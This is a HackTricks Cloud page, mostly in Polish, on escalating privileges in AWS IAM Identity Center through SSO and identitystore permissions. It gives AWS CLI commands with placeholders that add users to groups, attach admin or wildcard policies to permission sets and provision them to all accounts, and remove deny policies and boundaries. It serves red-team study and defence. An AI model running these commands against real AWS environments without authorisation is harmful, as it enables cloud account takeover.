AWS - SSO & identitystore Privesc
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
AWS Identity Center / AWS SSO
For more information about AWS Identity Center / AWS SSO check:
AWS - IAM, Identity Center & SSO Enum
Warning
Zwróć uwagę, że domyślnie tylko użytkownicy z uprawnieniami z Management Account będą mogli uzyskać dostęp i kontrolować IAM Identity Center.
Użytkownicy z innych kont mogą to zrobić tylko wtedy, gdy konto jest Delegated Adminstrator.
Sprawdź dokumentację, aby uzyskać więcej informacji.
Resetowanie hasła
Łatwym sposobem na eskalację uprawnień w takich przypadkach byłoby posiadanie uprawnienia pozwalającego na resetowanie haseł użytkowników. Niestety możliwe jest jedynie wysłanie wiadomości e-mail do użytkownika z linkiem do resetu hasła, więc konieczny byłby dostęp do skrzynki e-mail użytkownika.
identitystore:CreateGroupMembership
Dzięki temu uprawnieniu można dodać użytkownika do grupy, dzięki czemu odziedziczy on wszystkie uprawnienia przypisane tej grupie.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Atakujący posiadający to uprawnienie mógłby nadać dodatkowe uprawnienia do Permission Set, który jest przydzielony użytkownikowi będącemu pod jego kontrolą.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Atakujący posiadający to uprawnienie mógłby przyznać dodatkowe uprawnienia do Permission Set, który został przydzielony użytkownikowi będącemu pod jego kontrolą
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
An attacker posiadający to uprawnienie może przyznać dodatkowe uprawnienia do Permission Set przypisanego użytkownikowi będącemu pod jego kontrolą.
Warning
Aby nadużyć tych uprawnień w tym przypadku musisz znać nazwę customer managed policy, która znajduje się we WSZYSTKICH accounts, które będą dotknięte.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Atakujący posiadający to uprawnienie mógłby przypisać Permission Set użytkownikowi pod jego kontrolą dla danego konta.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Zwraca krótkoterminowe poświadczenia STS dla podanej nazwy roli przypisanej użytkownikowi.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Jednak potrzebujesz tokena dostępu, którego nie jestem pewien jak zdobyć (TODO).
sso:DetachManagedPolicyFromPermissionSet
Atakujący z tym uprawnieniem może usunąć powiązanie między zarządzaną przez AWS polityką a określonym permission set. Można przyznać więcej uprawnień poprzez detaching a managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Atakujący posiadający to uprawnienie może usunąć powiązanie pomiędzy Customer managed policy a określonym permission set. Możliwe jest przyznanie większych uprawnień poprzez odłączenie managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Atakujący posiadający to uprawnienie może usunąć uprawnienia z inline policy w permission set. Możliwe jest w ten sposób przyznanie more privileges via detaching an inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Atakujący posiadający to uprawnienie może usunąć Permission Boundary z Permission Set. Możliwe jest przyznanie większych uprawnień poprzez usunięcie ograniczeń nałożonych na Permission Set przez Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

